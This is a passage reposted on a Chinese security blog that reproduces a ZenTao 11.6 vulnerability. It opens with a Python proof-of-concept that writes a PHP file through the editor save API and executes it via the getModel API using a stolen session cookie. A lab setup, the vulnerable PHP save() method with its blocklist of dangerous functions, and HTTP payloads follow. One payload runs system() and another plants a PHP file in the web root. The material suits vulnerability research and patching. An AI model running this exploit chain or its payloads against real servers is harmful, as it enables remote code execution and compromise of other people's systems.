def POC_1(target_url):
version_url = target_url + "/www/index.php?mode=getconfig"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=version_url, timeout=20, headers=headers)
version = json.loads(response.text)['version']
print("�33[32m[o] 禅道版本为:{}�33[0m".format(version))

except Exception as e:
print("�33[31m[x] 获取版本失败 �33[0m", e)
sys.exit(0)

def POC_2(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
data = {"fileContent":"<?php phpinfo();?>"}
write_url = target_url + "/api-getModel-editor-save-filePath=/tmp/test"
try:
response = requests.post(url=write_url, data=data, headers=headers, timeout=10)
print("�33[32m[o] 尝试写入php文件... �33[0m")
except:
print("�33[31m[x] 写入php文件失败 �33[0m")
sys.exit(0)

def POC_3(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
vuln_url = target_url + "/api-getModel-api-getMethod-filePath=/tmp/test/1"
try:
response = requests.get(url=vuln_url, headers=headers, timeout=10)
if "System" in response.text:
print("�33[32m[o] 成功写入文件,存在漏洞, 访问 {}/api-getModel-api-getMethod-filePath=/tmp/test/1/ 查看 �33[0m".format(target_url))
else:
print("�33[31m[x] 读取php文件失败 �33[0m")
except:
print("�33[31m[x] 读取php文件失败 �33[0m")

if __name__ == '__main__':
title()
target_url = str(input("�33[35mPlease input Attack UrlnUrl   >>> �33[0m"))
zentaosid  = str(input("�33[35mZentaosid >>> �33[0m"))
POC_1(target_url)
POC_2(target_url, zentaosid)
POC_3(target_url, zentaosid)

漏洞分析

使用docker环境搭建

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

访问 http://xxx.xxx.xxx.xxx:8084按步骤安装即可

禅道各版本漏洞复现汇总上篇

这里造成漏洞的原因同样是调用接口权限无限制的原因

接口出现漏洞的原因具体参考可以查看上面 禅道 11.6版本 SQL注入漏洞关于此漏洞的完整分析

查看module/api/ediyor/moudel.php下的save方法

public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}

$ filePath参数和 $fileContent参数我们是可控的

调用方法往 /tmp写入一个phpinfo()

禅道各版本漏洞复现汇总上篇
禅道各版本漏洞复现汇总上篇

在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含

http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1

禅道各版本漏洞复现汇总上篇

也可以写入网站目录中,先获取地址

http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell

POST:fileContent=<?php system('find / -name ioncube.php')?>');?>

访问http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1

禅道各版本漏洞复现汇总上篇

得到目录为 /app/zentaopma/www,请求改为

http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell

fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>

再去访问http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1则会再网站目录下生成 xxx.php 文件

禅道各版本漏洞复现汇总上篇
禅道各版本漏洞复现汇总上篇


原文链接:https://www.freebuf.com/articles/web/444382.html

原文始发于微信公众号(亿人安全):禅道各版本漏洞复现汇总上篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年8月19日22:10:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   禅道各版本漏洞复现汇总上篇http://cn-sec.com/archives/4384479.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息